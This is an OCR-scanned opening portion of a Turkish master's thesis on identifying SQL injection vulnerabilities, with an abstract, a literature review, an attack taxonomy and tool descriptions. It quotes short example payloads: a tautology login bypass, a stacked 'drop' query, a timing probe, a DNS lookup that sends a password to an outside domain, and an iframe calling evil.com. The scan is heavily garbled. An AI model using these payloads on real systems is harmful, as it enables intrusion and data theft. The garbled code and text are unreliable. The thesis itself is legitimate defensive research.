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OZET

VERIYUKU UZERINDEN SQL ENJEKSIYON ZAFIiYETLERIN
BELIRLENMESI

Ramazan CANKUS
Diizce Universitesi
Lisansiistii Egitim Enstitiisii, Disiplinleraras1 Siber Giivenlik Anabilim Dal1
Yiiksek Lisans Tezi
Danigsman: Prof. Dr. Resul KARA
Ocak 2022, 88 sayfa

Siirekli gelisen teknoloji ile birlikte bilgiye hizli erisim, depolamak, gibi ihtiyaclarinin
yaninda bilgisayar sistemlerinin kullanimi da paralel olarak artmaktadir. Bu sistemler
icerisinde Ozellikle kurum ve kuruluslar 6nemli bilgilerini bulundurmakta ve
kullanmaktadirlar. Her alanda oldugu gibi bilgisayar sistemleri de bulundurduklari
onemli kaynaklardan dolay1 siber saldirganlar tarafindan tehdit altindadir. Bu tehditlere
kars1 her alanda oldugu gibi giivenlik Onlemleri alinmaktadir. Giivenlik duvarlar
(firewalls), saldir1 tespit ve dnleme sistemleri (IPS/IDS), icerik filtreleme sistemleri, anti
viriis yazilimlari, kod gilivenligi sikilastirmalari gibi donanimsal ve yazilimsal olarak
onlemler alimmaktadir. Siber saldirganlar tarafindan bilgisayar sistemlerine o6zellikle
kritik ve gizli derecedeki bilgileri ele gecirebilmek i¢in cesitli siber saldirilar
yapilmaktadir. Bu siber saldirilardan birisi en yaygin ve en tehlikeli saldir tiirii olan
Structured Query Language (SQL) enjeksiyon saldirisidir. SQL enjeksiyon saldirisi, bir
veri taban1 kullanan uygulama tizerindeki kodlarin giivenlik agiklarindan faydalanilarak,
siber saldirganin yetkisi olmadan gizli bilgileri ele gecirmeye yonelik amaci
dogrultusunda giivenlik zafiyetinin somiirilmesi seklidir. Bu tez g¢alismasinda, SQL
enjeksiyonu, SQL enjeksiyon saldirilarinin siniflandirilmasi, SQL enjeksiyon zafiyetinin
belirlenme yontemleri anlatilmistir. Web uygulamalar1 {izerindeki SQL enjeksiyon
zafiyetinin belirlenmesine yonelik ¢alismalar yapilmistir. Bu ¢aligmalar web uygulama
giivenligine yonelik olarak olusturulmus icerisinde web giivenlik zafiyetleri barindiran
Damn Vulnerable Web Application (DVWA) ve Web For Pentester uygulamalari
tizerinde yapilmistir. SQL enjeksiyon zafiyetinin belirlenmesinde elle yapilan sorgular ve
Burp Suite, Sqlmap, Kali Linux, Havij, Acunetix, Netsparker gibi web zafiyeti ve
penetrasyon testi araglart kullanilmistir. Bu araglarin gerceklestirdikleri veri yiikleri ve
elle yapilan SQL enjeksiyon sorgulamalar1 analiz edilerek karsilastirilmistir.

Anahtar sozciikler: Giivenlik zafiyeti, Saldiri, SQL enjeksiyon, Veri yiikii.
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Along with the constantly developing technology, the use of computer systems is
increasing in parallel with the needs such as rapid access to information, storage. In these
systems, especially institutions and organizations hold and use important information. As
in every field, computer systems are under threat by cyber attackers because of the
important resources they have. As in all areas, security measures are taken against these
threats. Hardware and software precautions such as firewalls, intrusion detection and
prevention systems (IPS/IDS), content filtering systems, anti virus software, code security
tightening are taken. Various cyber attacks are carried out by cyber attackers in order to
seize especially critical and confidential information on computer systems. One of these
cyber attacks is the Structured Query Language (SQL) injection attack, which is the most
common and most dangerous type of attack. A SQL injection attack is a form of
exploitation of a security vulnerability by exploiting the vulnerabilities of the codes on
the application using a database, with the aim of obtaining confidential information
without the authorization of the cyber attacker. In this thesis, SQL injection, classification
of SQL injection attacks, methods of detecting SQL injection vulnerability are explained.
Studies have been carried out to determine SQL injection vulnerability on web
applications. These studies were carried out on Damn Vulnerable Web Application
(DVWA) and Web For Pentester applications, which were created for web application
security and contain web security vulnerabilities. Manual queries and web vulnerability
and penetration testing tools such as Burp Suite, Sqlmap, Kali Linux, Havij, Acunetix,
Netsparker were used to identify SQL injection vulnerability. The data loads performed
by these tools and manual SQL injection queries were analyzed and compared.

Keywords: Attack, Payload, SQL injection, Vulnerability security.
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1. GIRIS

1.1. TEZIN KAPSAMI

SQL enjeksiyon zafiyeti Ozellikle gilinlimiizde veritaban1 barindiran web
uygulamalarindaki en 6nemli zafiyetlerden birisidir. SQL enjeksiyonun en biiyiik etkisi
saldirtya ugrayan uygulamanin veritabaninda saklanan kullanici adlari, sifreler, adresler,
telefon numaralar1 veya giivenlik kodlar1 gibi bilgilerin gizliliginin ele gegirilmesidir.
SQL enjeksiyon saldirilari, kotii niyetli bir kullanicinin sorgu kosullarini degistirerek
yetkisiz veritabani erisimine neden olan sorgulara kod eklemek i¢in girdi firsatlarindan

yararlanabildigi sorgu tasarimindaki giivenlik agiklari nedeniyle meydana gelir [1].

SQL enjeksiyonda veri yiikii, veri taban1 ve uygulama arasinda olusan ag trafigindeki
mantiksal SQL sorgularidir. SQL kod enjeksiyonu, bir saldirganin bir uygulamanin
veritabanina gonderdigi SQL sorgularimi etkileme olasiligt oldugunda kendini

gosterebilen bir glivenlik agigini temsil eder.

Enjeksiyon saldirisi, Open Web Application Security Project (OWASP) tarafindan
aciklanan en biiyiik 10 giivenlik tehdidinden ilkidir. SQL enjeksiyonu, enjeksiyon
saldirillar1 arasinda en Onemli tiirlerden biridir. Cesitli tiirleri ve hizli varyasyonlari
nedeniyle SQL enjeksiyonu aga biiylik zarar vererek veri sizintis1 ve web sitesi krizi ile
sonuclanabilir. Saldir1 yiikiiniin heterojenligi, saldir1 yontemlerinin ¢esitliligi ve saldir
modlarinin ¢esitliligi nedeniyle, SQL enjeksiyon tespiti hala zorlu bir problemdir. Son
yillarda, bir¢ok arastirmact SQL enjeksiyon tespiti lizerinde ¢ok fazla calisma yapmustir,
ancak tespit kapsami genellikle SQL enjeksiyonunun baz alt kiimeleri ile sinirlidir. Tim
SQL enjeksiyon saldiri tiirlerini algilayabilen ve yeni bir saldir tiirii meydana geldiginde
giincelleme esnekligine sahip kapsamli bir SQL enjeksiyon algilama mimarisi saglamak

¢ok onemlidir [2].

Bir web uygulamasimin SQL enjeksiyon giivenlik agig1 riskini degerlendirmek igin,
giivenlik uzmanlar1 veya {icilincii taraf hizmet saglayici genellikle fiili SQL enjeksiyon
saldirilari simiile etme egilimindedir. Geleneksel bir test gorevindeki senaryolarina

benzer ve geleneksel bir yazilim test gorevinden farkli olarak, giivenlik uzmanlar gesitli



uygulamalardaki SQL enjeksiyon aciklarini kesfetmek igin ellerinde hazirlanmig bir
saldirt ytikleri koleksiyonuna sahiptir. Genelde MySQL, Oracle, Microsoft Access veya
ortak isletim sistemleri ve platformlar1 hedef alinir ve ortak bir saldir1 yiikleri kiimesi

kullanilir.

Sirketlerin ve kurumlarin en 6nemli verilerinin tutuldugu yerler veri tabanlarindadir. Veri
tabanlarinda tutulan veri ¢esidi ve miktar1 her gecen giin artmaktadir. Cesitli siber saldirt
yontemlerle savunmasiz veri tabanlarina sizmak mimkiindiir. Gerekli Onlemler
alinmazsa Ozellikle de sirketlerin kendi biinyesinden bu sistemlere sizmak ¢ok zor
degildir. Profesyonel anlamda hizmet saglayan web uygulamalarinin birgogu SQL
altyapisint kullanan veri tabani sorgu yapilarini tercih etmektedir. Birgok web tabanl
program kullanici istegine bagli SQL altyapisi kullanarak sonuglar1 dondiirmektedir ve
gelistiricisine bagl olarak farkli tasarimlarda kullanicilarin hizmetine sunulmaktadir.
Ancak web tabanli uygulamalarda saldirgan tarafindan sisteme girilen bazi zararh
ifadelerle SQL sorgularina enjeksiyon islemi yapilarak sistem manipiile edilebilmektedir

[3].

SQL enjeksiyon saldirilarinin ¢esitliligi ve SQL kesfinin zorlugu nedeniyle, yiikleri
yiiriitme siireci maliyetli, zaman alici ve hatta riskli olabilir. Bunun ig¢in sinirh
denemelerde bir SQL enjeksiyonu basarili bir sekilde tetiklemek amaciyla uyarlanabilir.
Bu riskler tlizerine rastgele teste dayali daha etkili SQL enjeksiyon kesfi icin etkin saldir1

yiiklerinin testine yonelik yontemler bulunmaktadir [4].

SQL enjeksiyon aym1 zamanda baglanmaya yetkili bir web uygulamasi tarafindan
veritabani sunucusundan yetkisiz dogrudan erigsim verileri i¢in kullanilan bir penetrasyon
teknigidir. Giris alanlarina kotii amagl bir SQL kodu girilebilir ve veritabani, istemcilerin
kullanic1 adlart ve sifreleri gibi onaylanmamis bilgilerle yanit verebilir. Bir uygulama
veya kurulus i¢in glivenlik aciklarini ve tehditleri belirleyerek riskleri ve maddi hasarlari
en aza indirebilecegi i¢in siki bir sizma testi zorunludur. Giivenlik a¢igini bulmak i¢in

yapilan sizma testinde kullanilan araglar ve veri yliklerinin 6nemi biiyiiktiir.

Internet hizla bilyiimekte ve farkli kablolu ve kablosuz aglar1 birbirine baglanmaktadir.
Diinyanin her yerinde farkli cografi konumlarda bulunan bilgi islem cihazlar1 bir istemci
sunucu mimarisi kullanarak internet bulutuna baglanir. Istemci, web tarayicis1 araciligiyla
web sunucusundan bilgilere erisebilir. Web sunucusu, veri tabani sunucusundan veri alir.

Diinyanin her yerindeki koti niyetli insanlar, veri odakli web uygulamalarinin



giivenligini bozmakta ve bazi1 6zel verilere yasa dis1 olarak erigsmekte, verileri manipiile
etmekte veya biiyiik zararlara veya finansal kayiplara neden olabilecek farkli kotii niyetli
faaliyetler gergeklestirmektedir. SQL enjeksiyon saldiris1 web uygulamalarinda bulunan
en Oonemli gilivenlik dizelerinden biridir. SQL enjeksiyonu, web uygulamasi tarafindan
yiiriitiilen ve veritabani sunucusuna gonderilen SQL ifadelerinin saldirganlar tarafindan
degistirildigi bir web uygulamasi giivenlik aciklarindan biridir. Bu giivenlik agiklarini
tespit etmek ve saldirilar1 6nlemek icin siber giivenlik sistemleri ve teknikler
kullanilmaktadir [5], [6]. Aym1 zamanda siber saldir1 Onleme araglar1 bir web
uygulamasina giivenlik agiklari enjekte edilerek mevcut gilivenlik mekanizmasinin

saglamlig1 da degerlendirilmelidir.

Giivenlik acig1 analizi, kotli niyetli bir kullanicinin bir sistemdeki mantiksal hatalardan
onu giivensiz bir duruma getirmek i¢in kullanabilecegi bir girdi alani alt kiimesini
kesfetmeyi icerir. Bu siire¢ eksiksiz, entegre, operasyonel ve giivenilir bilgi islem tabanini
test etmek icin kapsamli bir yontem olan penetrasyon testi ile takip edilmesi gereken bir
stiregtir. S1zma testi, bir kurulusun bilgi sistemlerine yetkisiz erisime karsi giivenlik
kontrollerine sizmasinin zorlugunu belirler. S1zma testi, otomatik araglarla, elle veya her
ikisinin bir kombinasyonu kullanilarak sisteme saldiran yetkisiz bir kullanicinin
benzetimi ile yapilir [7]. Calismada web uygulamasi tizerinde SQL enjeksiyon giivenlik
zafiyetinin belirlenmesinde s1zma testi yaklasimi ve ¢esitli web zafiyet test araglari, SQL
enjeksiyon araglart kullanilarak yapilmistir. Araglarin yapmis oldugu SQL enjeksiyon

zafiyetinin belirlenmesindeki veri yiikleri tespit edilerek karsilagtirilmistir.

1.2. LITERATUR ARASTIRMASI

SQL enjeksiyon zafiyeti belirlenmesine yonelik literatiirde yapilan ¢aligmalar asagida

verilmistir.

[3]’de SQL enjeksiyon agig1 bulunan sistemlerin tespitine dair sizma yontemleri ve
aliabilecek giivenlik 6nlemleri sunulmustur. ASP.NET platformu MSSQL tabanli SQL
enjeksiyon acig1 bulunan bir web projesi lizerinde saldir1 6rnegi ve analizi gosterilmistir.
Ayrica web tabanli uygulamalarda alinabilecek giivenlik onlemleri ve ¢éziim oOnerileri

sunulmustur.

[8]’de klasik ve modern SQL enjeksiyon saldirilarinin siniflandirilmasi yapilarak, bu

saldir1 yontemlerinin yapisi ve 6zellikleri hakkinda bilgi verilmistir. Ayrica bu saldirilar



tespit etmek veya onlemek icin kullanilan mevcut farkl teknik ve araglar gosterilmistir.

[9]’da kara kutu penetrasyon testi yaklagimini kullanarak bir etki alaninda mevcut web
uygulamalarinda bulunan SQL gilivenlik agiklarmin degerlendirmesini ve analizi
anlatilmaktadir. Kullanic1 girdisi tabanli SQL enjeksiyonu degerlendirme igin
kullanilmistir. Teknik, herhangi bir girdi i¢in gelistiricinin amagladig1r sorgu sonucu
boyutunu dinamik olarak analiz eder ve bunu gercek sorgunun sonucuyla karsilagtirarak

saldirilar1 tespit eder.

[10]° da herhangi bir girdi i¢in gelistiricinin amagladig1 sorgu sonucu boyutunu dinamik
olarak analiz eder ve bunu ger¢ek sorgunun sonucuyla karsilagtirarak saldirilart tespit
eder. Bu teknigi Java tabanli web uygulamalarini korumak igin bir aragta uygulanmaistir.
Deneysel bir degerlendirmede teknigin SQL enjeksiyon giivenlik agiklarina kars: etkili

oldugunu gostermektedir.

[11]°de giivenlik i¢in statik ve dinamik davraniga sahip ii¢ katmanli web uygulamalar
disiiniilmustiir. Statik ve dinamik haritalama modeli, SQL enjeksiyon ve Cross Site

Scripting (XSS) saldirilar1 sinifindaki anormallikleri tespit etmek i¢in olusturulur.

[12]°’de SQL enjeksiyon saldirilarinin ciddiyetine iliskin farkindaligini artirmak igin,
proaktif olarak uyarilar1 aninda gonderebilen DIAVA adli yeni bir trafik tabanli SQL
enjeksiyon saldirn algilama ve giivenlik ac¢ig1 analizi cergevesi sunulmustur. SQL
islemlerinin ¢ift yonlii ag trafigini analiz ederek ve Onerilen ¢ok diizenli ifade modeli
uygulanarak DIAVA, tiim siipheliler arasinda basarili SQL enjeksiyon saldirilarini dogru
bir sekilde belirleyebildigi agiklanmistir.

[13]°de ag akisindan SQL enjeksiyon saldirisi ile ilgili yiiklerin ¢ikartilmasi ve bu sorunla
basa ¢ikmak i¢cin SQL enjeksiyon davranisinin yiiksek boyutlu 6zelliklerinin avantajlarini
alabilen evrisimsel sinir agma (CNN) dayali bir SQL enjeksiyon algilama model

Onerilmektedir.

[14]°de Bloom filtresi ve n-gram teknikleri araciligiyla mesru ag trafiginin istatistiksel bir
modeli olusturulmustur. Daha sonra bu model ile bir saldir1 veri seti analiz edilerek elde
edilen sonuglar karsilastirilmistir. Sonug olarak, bir ytikiin kotli amagl yazilima m1 yoksa
baska bir sekilde mesru trafige mi karsilik geldigini belirleyebilen bir dizi kural elde

edilir.

[6]” de web uygulamasina gilivenlik aciklar1 enjekte ederek ve Dagitilmis Giivenlik A¢ig1

ve Saldir1 Tespit Araci (DVADT) kullanarak mevcut gilivenlik mekanizmasinin
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degerlendirilmesi i¢in bir yontem Onerilmistir.

[15]" da hizli ve diisliik yanlis pozitif oran1 olan bir SQL enjeksiyon giivenlik agig1
tarayicis1 Onerilmektedir. Bu tarayici, bir web uygulamasindaki giivenlik agiklarin
kesfetmenin yani sira karsi saldirt mekanizmalarinin etkinligini test etmek icin pratik bir
ara¢ oldugu savunulmustur. SQL enjeksiyon saldirilarina karsi bir glivenlik mekanizmasi
Onerilmektedir. Glivenlik yontemi, istemciler veya kullanicilar tarafindan gonderilen
Hyper Text Transfer Protocol (HTTP) istegi i¢in bir filtre tasarimina dayanir ve saldirt

imzalarini1 aramaktadir.

[16]’da SQL enjeksiyon saldirilarinin siniflandirilmasinin tartisilmasi ve ayrica her

saldiryla iligkili risk bazinda analizler yapilmistir.

[17] de web giivenlik agigini tespit etmek ve tanimak i¢in tanimlanmis kriterlere dayali
bir SQL enjeksiyon tespit modeli Onerilmistir. Ayrica Onerilen tespit modeli, web

uygulamasinin giivenlik a¢1g1 diizeyine iligkin bir rapor olusturabilecegi savunulmustur.

[18] de web uygulamalarinda pentest teknikleri ile ilgili bilgilere odaklanilmaktadir.

Pentest asamasinda kullanilan araglar hakkinda bilgi verilmistir.

[19]” da SQL enjeksiyon saldir1 tespiti ve dnlenmesinde yaygin olarak kullanilan arag ve
yontemler gdzden gegirilmistir. Incelenen arag ve yontemleri, SQL enjeksiyon tiirleri ve
enjeksiyon parametreleri agisindan yazarlarin deneyimlerine dayanarak analitik olarak
degerlendirilmistir. Caligmada ara¢ ve yontemlerin SQL enjeksiyon saldir1 tiirlerinin alt
kiimesini 6nlemek i¢in gelistirildigini ve SQL enjeksiyon saldirilar1 incelenirken dikkate
alimacak cesitli enjeksiyon parametrelerine yalnizca birkaginin yerlestirilebilecegi

sonucuna varilmistir.

[2]’de karmasik SQL enjeksiyon saldirilarini tespit etmek icin uyarlanabilir forest-based
ismli bir yéntem onerilmektedir. ilk olarak, forest-based yapisi optimize edilmis, her
katmanin girdisi ham 6zellik vektorii ve onceki ¢iktilarin ortalamasi ile birlestirilmistir.
Deneyler, Onerilen yontemin, artan katman sayisiyla birlikte forest-based orijinal
ozelliklerinin  bozulmasi sorununu etkin bir sekilde ¢ozdiigiinii gosterdigi

agiklanmaktadir.

[20]°’de web uygulamalarinda SQL enjeksiyon tespiti i¢in sadece mesru sayfalar igeren

dordiincii bir sinif ekleme fikri ileri siiriilmiis ve basarili oldugu sonucuna varilmistir.

Geleneksel SQL enjeksiyon savunma yontemi, anahtar sozciikleri veya kural dis1 dizeleri



filtrelemek i¢in bir kara liste ve normal ifadeleri saklayan kara liste filtrelemeyi kullanir.
Ancak bu yontem, kara listenin disindaki anahtar kelimeleri ve dizeleri filtreleyemez ve
web programlarini yeni SQL enjeksiyon saldirilarina karsi savunmasiz birakir. Bu islem
yapay sinir agma dayali SQL enjeksiyon tespiti i¢in basit ve verimli bir yontemdir. Veri
yiikiine dayali SQL enjeksiyon verisi analiz edilerek ardindan sinir ag1 modelini egitmek
icin ¢ok sayida gercek veri kullanilir. Calismada Multi Layer Perceptron (MLP) ve Long
Short-Term Memory (LSTM) sinir ag1 modelleri de ele alinmistir [5].

[25]°de Ogrenmeye dayali ve Ogrenme yetenegine sahip bir web giivenlik testi
yaklasimindan esinlenilmistir. Kapsamli bir yilik koleksiyonun saldir1 6rneklerinin
kaliplarin1 otomatik olarak ortaya ¢ikaran ve benzer drnekleri bir arada toplayan, saldir
kiimelenme kaliplarin1 arayarak ve neredeyse tiim atlanan saldir1t modellerini verimli bir
sekilde kesfetmek i¢in yeni bir uyarlanabilir arama algoritmasiyla birlestirilmis bir

pekistirmeli 6grenme teknigi ele alinmistir.

Literatiirde yer alan SQL enjeksiyon belirleme ve 6nleme yontemlerinden farkli olarak
bu calismada veri yiikiine dayali tespit i¢in deneysel bir ¢alisma Onerilmistir. SQL
enjeksiyon zafiyet tarama araglarimin kullanimina dayali bu ¢alismada etkin ve etkin

olmayan yiikler kullanarak analizler yapilmistir.



2. SQL ENJEKSIYON

Bu boéliimde SQL enjeksiyon saldirilarinin siniflandirilmasi yapilarak, yapilan saldirida
ve zafiyetin belirlenmesine yonelik kullanilan araglardan bahsedilmistir. Daha sonra web
uygulamalari, veri tabanlaria yapilan SQL enjeksiyonlarina deginilerek SQL enjeksiyon

saldirilarina, belirlenmesine ve zafiyetin kesfine yonelik ¢alismalara yer verilmistir.

2.1. SQL ENJEKSiYON SALDIRILARININ SINIFLANDIRILMASI

Genel olarak klasik ve modern SQL enjeksiyon saldirilar1 olmak {izere iki alt tiir
bulunmaktadir. Modern SQL saldir1 yontemlerinin etkinligi yiiksektir. Klasik SQL
enjeksiyon saldirilari modern SQL enjeksiyon saldirilar: alt tiirlere sahiptir. Oncelikle

Klasik SQL enjeksiyon saldir tiirleri ele alinmustir.

2.1.1. Klasik SQL Enjeksiyon Saldirilar:
2.1.1.1. Totolojiler

Totoloji tabanl saldirilar, SQL komutunun (1 = 1) veya (- -) gibi gercek bir kosul olarak
degerlendirilmesini saglamak i¢in bir veya daha fazla kosullu SQL ifadesi sorgusu ile kod
enjekte ederek calisir. Bu teknigin en yaygin kullanimi, web sayfalarindaki kimlik
dogrulamasini atlayarak veritabanina erisim saglamaktir. Sekil 2.1°de gosterilen SQL

sorgusu bu SQL enjeksiyon saldirisin1 gostermektedir [8].

Select * from employees where
employee ID="1'or "1=1"--"AND
employee password="1234";

Sekil 2.1. SQL enjeksiyon totoloji saldirisi.

2.1.1.2. Piggy Destekli Sorgular

Piggy destekli sorgular, orijinal sorguya ek sorgu ifadeleri enjekte etmek icin ";" gibi bir
sorgu sinirlayici kullanarak veritabanini tehlikeye atan bir saldirt tiiriidiir. Bu yontemde
ilk sorgu orijinal iken sonraki sorgular enjekte edilir. Bu saldir1 ¢ok tehlikelidir ve

saldirgan bunu hemen hemen her tiir SQL komutunu enjekte etmek i¢in kullanabilir. Sekil



2.2’deki SQL sorgusu Piggy destekli sorgu saldirisini gostermektedir [8].

SELECT pass FROM userTable WHERE
user ld="user?’' AND Password = 0; drop
userTable

Sekil 2.2. Piggy-backed saldirist.

2.1.1.3. Mantiksal Hata

Mantiksal olarak, veritabani tarafindan yanlis bir sorgu icin dondiiriilen hata
mesajlarindan yararlanir. Bu veritabam1 hata mesajlar1 genellikle, saldirganin bir
uygulamadaki ve veritaban1 semasindaki giivenlik acigindan etkilenen parametreyi
bulmasina olanak taniyan yararli bilgiler igerir. Sekil 2.3’te mantiksal hata SQL

sorgusuna ornek verilebilir [8].

SELECT * FROM userTable WHERE
user Ild=’1111° AND password=’1234’
AND CONVERT (char, no)

Sekil 2.3. Mantiksal hata saldirisi.

2.1.1.4. Birlestirme Sorgusu

Birlestirme sorgusu (Union query) enjeksiyonu, ifade enjeksiyon saldirist olarak
adlandirilir. Bu saldirida, saldirgan orijinal SQL ifadesine ek bir ifade ekler. Bu saldiri,
Sekil 2.4°te gosterildigi gibi savunmasiz parametreye bir UNION sorgusu veya "; <SQL
ifadesi>" biciminde bir ifade eklenerek yapilabilir. Bu saldirinin sonucu, orijinal
sorgunun sonuglarinin enjekte edilen sorgunun sonuglariyla birlikte veritabaninin

birlesim olan bir veri kiimesi dondiirmesidir.

SELECT * FROM userTable WHERE
user Id=’1111° UNION SELECT * FROM
memberTable WHERE member _Id=’admin’ -’
AND password="1234’;

Sekil 2.4. Union query enjeksiyon saldirisi.

2.1.1.5. Cikarim Saldirist

Cikarim (Inference) saldirisinin  kullanilmasi, saldirganin  bir veritaban1 veya



uygulamanin davranigini degistirmesine olanak tanir. Bu tiir saldiri, iki iyi bilinen
teknikle simiflandirilabilir. Bunlar, kor enjeksiyon (blind injection) ve zamanlama

(timing) saldirilaridir.
<+ Kor

Enjeksiyon saldirisi, programcilar veritabani uygulamasinin gilivensiz olmasina neden
olan bir hata mesajin1 gizlemeyi unuttugunda ortaya cikar. Bu hata mesaji SQL
enjeksiyon saldirisinin SQL deyimleri araciligiyla bir dizi mantiksal soru sorarak
veritabanin1 tehlikeye atmasina sebep olur. Sekil 2.5’de “Blind Injection” saldirisi

gosterilmektedir [8].

SELECT pass FROM userTable WHERE username=
‘user'and 1 =0 -- AND pass = AND pin= 0

SELECT info FROM userTable WHERE username=
‘user’'and = 1 - AND pass = AND pass= 0

Sekil 2.5. Blind enjeksiyonu.

% Zamanlama

Saldir1 tliri, bir saldirganin veritabani yanitlarindaki zamanlama gecikmelerini
gozlemleyerek veritabanindan bilgi toplamasina olanak saglar. Ayni zamanda, bir zaman
geciktirme amacina ulagsmak icin kosul ifadesini kullanir. WAITFOR, veritabaninin
yanitini belirli bir siire geciktirmesine neden olan dallar boyunca bir anahtar sézciiktiir.

Sekil 2.6’da zamanlama saldiris1 sorgusu goriilmektedir [8].

declare @ varchar (8000) select @s =
db_name () if (ascii (substring (@s, 1, 1)) &
(power (2, 0))) > 0 waitfor delay '0:0:5'

Sekil 2.6. Timing saldirisi.

2.1.2. Modern SQL Enjeksiyon Saldirilar:
Bazi modern SQL enjeksiyon saldirilart ele alinmistir [8].
2.1.2.1. Fast Flux SQL Enjeksiyon Saldirisi

Saldirgan, bu tiir SQL enjeksiyon saldirisin1 kullanarak veritabanindan veri ayiklama ve

kimlik avi yapmay1 amaglar. Kimlik avi, bir saldirganin {i¢lincii bir taraf olarak dahil



ederek kullanicidan hileli bir sekilde hassas bilgiler elde ettigi bir sosyal miihendislik
saldirisidir. Geleneksel kimlik avi ana bilgisayari, yalnizca genel Domain Name System
(DNS) veya IP adresini izleyerek ¢ok kolay bir sekilde tespit edilebilir. Bu geri izleme
teknigi, barindirma web sitelerinin kapatilmasina yol agabilir. Saldirgan, bu tiir
saldirilarin bir sunucunun yiik dengelemesi {lizerinde 6nemli bir etkisi olabilecegini fark
eder. Bu nedenle, sug varliklarini korumak i¢in, kimlik avi web sitelerinin operatorii Fast
Flux teknigini kullanmaya baslar. Fast Flux, kimlik avi ve kotii amagh yazilim dagitim
sitelerini siirekli degisen, giivenligi ihlal edilmis bir ana bilgisayar agmin arkasina
gizlemek i¢in kullanilan bir alan ad1 sunucusu teknigidir. Sekil 2.7 Fast Flux SQL saldir1
teknigini gostermektedir [8].

d

Client v Fast-flux bot\__/uomgnmp

o) -
4. Response content W9 g% o 3. Response content

S

Sekil 2.7. Fast Flux saldirisi.

2.1.2.2. Bilesik SQL Enjeksiyon Saldirisi

Bu tiir SQL enjeksiyon saldirisi, SQL enjeksiyon ve diger web uygulama saldirilarinin
birlesiminden tiiretilen bir kombinasyondur. Saldirgan, veritabanina saldirmay1 ve diger
klasik SQL enjeksiyon tiirlerinden daha ciddi etkilere neden olmay:r amacglamaktadir.
Cesitli SQL enjeksiyon saldirilarina karsi dnleme ve tespit tekniklerinin hizli gelisimi,
kotii niyetli saldirganlart bilesik SQL enjeksiyonu adi verilen bir teknik gelistirmeye
zorlamistir. Bilesik SQL enjeksiyon saldiris1 asagidaki gibi detaylandirilabilir [8].

2.1.2.3. SQL Enjeksiyon DDOS (Distributed Denial of Service) Saldirisi

Bu saldir1 bir sunucuyu agmak, kaynaklarini tilketmek i¢in kullanilir. Bdylece kullanici
sunucuya erigsemez hale gelir. Distributed Denial of Service (DDOS) saldirist ile takip
etmek icin SQL enjeksiyonda da kullanilabilen farkli SQL komutlar1 kodlamak,
sikistirmak, birlestirmek gibi durumlar vardir. Sekil 2.8. SQL enjeksiyon DDOS saldirist

gergeklestirmek i¢in kullanilan 6rnek kodu gostermektedir [8].
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select tab1 from (select
decode(encode(convert(compress(post)
using latin1),concat(post,post,post,post)),
sha1(concat(post,post,post,post)))
as tab1 from table_1);

Sekil 2.8. SQL enjeksiyon DDOS saldirisi.

2.1.2.4. SQL Enjeksiyon DNS Hijacking

Saldirgan, bu tiir bir saldiriy1 kullanarak, SQL sorgusunu DNS istegine yerlestirmeyi ve
onu yakalamay1 ve internete girmeyi amaglamaktadir. Sekil 2.9 bu saldirinin nasil

gerceklestirildigini gostermektedir [8].

do_dns_lookup( (select top 1 password

from userTable) + ’.inse6140.net’ );

Sekil 2.9. SOL enjeksiyon DNS saldirist.

2.1.2.5. SQL Enjeksiyon XSS (Cross Site Scripting)

XSS, bir saldirganin bir uygulamanin giris alanlarina kotii amacl kod enjekte edebilecegi
istemci tarafindaki kod enjeksiyon saldirisidir. XSS betigini yerlestirdikten sonra,
calistirilacak ve bir uygulamanin veri tabanina baglanmaya ¢alisacaktir. Veritabanindan
veri ¢ikarma kodu, Sekil 2.10°da gosterildigi gibi “iframe” komutu kullanilarak

uygulanabilir [8].

print "<html>"
print "<h1>Most recent comment</h1>"
<iframe src=http://evil.com/xss.html>
print “</html>"

Sekil 2.10. SQL enjeksiyon XSS (Cross Site Scripting) saldirisi.

2.1.2.6. Internet Uygulamalari Etki Alanlart Politikalarim Kullanan SQL Enjeksiyon
Saldirist

Etki alanlar1 arasi politikalar, Java, Adobe Flash, Adobe Reader vb. gibi web istemci

uygulamalarina birden ¢ok etki alanindaki verilere erisim izni veren bir XML dosyasidir.
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Etki alanlar1 arasi politikalar, igerik saglayicinin etki alanindan igerik almasina izin
verilen RIP barindirma etki alanlarinin listesini tanimlar. Sekil 2.11. alanlar arasi

politikay1 gostermektedir [8].

Kullaniei bir etki alanindan

bir dosya acar ve bu dosya a.com

baska bir etki alanindan = /SW’ POF. etc

veri yiiklemeye calisir. s e

i P :" ':)\)9\‘96
\‘ <
i : “"’m,_“'(h b.com
o, ~ 5. com/crossdomain.xmi

Istemci, etki alanlari aras1 politika o

iznine dayali baglantilara izin ‘ I e i
vererek a.com ve b.com arasindaki :

iletisimi kontrol eder.

Sekil 2.11. Etki alanlar1 arasi politika.

Sekil 2.12 web uygulamasinin SQL enjeksiyon saldirisini ve diger saldir tiirlerine karsi

savunmasiz olmasini saglayan zayif kodu gostermektedir [8].

<allow-access-from domain
="*.sub1.domainA.com™”/>
<allow-access-from
domain="*.domainC.com™/>

<allow-access-from domain="*"/>

Sekil 2.12. Etki alanlar1 aras1 politika i¢in bir kod.

2.2.SQL ENJEKSIiYONUN BELIRLENMESINDE KULLANILAN BAZI
ARACLAR

Her biri farkli tiirde sizma testleri yapabilen, licretsiz olarak sunulan birgok sizma testi

araci vardir. Bu araglardan en sik kullanilanlardan bazilar1 agiklanmaistir.

2.2.1. Burp Suite

Burp Suite bir proxy aracidir. Http protokolii iizerinden yapilan trafigin incelenebilmesi
ve islem yapilabilmesine olanak saglar. Sunucu ile istemci arasinda olusan ag trafigi Burp
Suite araci ile goriilebilmektedir. Ayrica SSL sertifikasyon dosyast igeri aktarilmasi

sonrasinda SSL istekleri de Burp Suite arac1 lizerinden goriilebilir.
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Burp Suite, web uygulamalarina yonelik giivenlik kontrollerinde, hem manuel hem de
otomatize testlerde kullanilan ve sizma testleri gergeklestirenlerin kullandiklari ana
araclardan biri haline gelmistir. Burp Suite aracinin 6zellikleri ne kadar iyi bilinirse o
kadar etkin bir sekilde kullanilabilir. Burp Suite arac1 windows bilgisayarlara
yiiklenebilmekte ve ayrica Kali Linux tizerinde yiiklii olarak gelmektedir [23]. Burp Suite

temel olarak asagidaki modiilleri igermektedir.

Proxy: Tarayici ile hedef uygulama arasindaki trafigi analiz eder ve degistirir. HTTP
trafiginin yakalanmasi, degistirilmesi ayrica igerigi kolayca analiz etmeyi ve bir istemci

tarafindan sunucuya gonderilen istekleri yonetmemizi saglar.

Spider: Proxy sunucusundan gecen trafigi analiz eder ve istenen icerigi diger Burp Suite
araglaria gonderir. Tlim isi tutar ve operasyonun en son durdugu yerden devam etmesini

saglar.

Scanner: Web uygulamalarini tarar. Taranan igerigin tam kontroliinii saglar ve tarama

sonuglarint goriintiler.

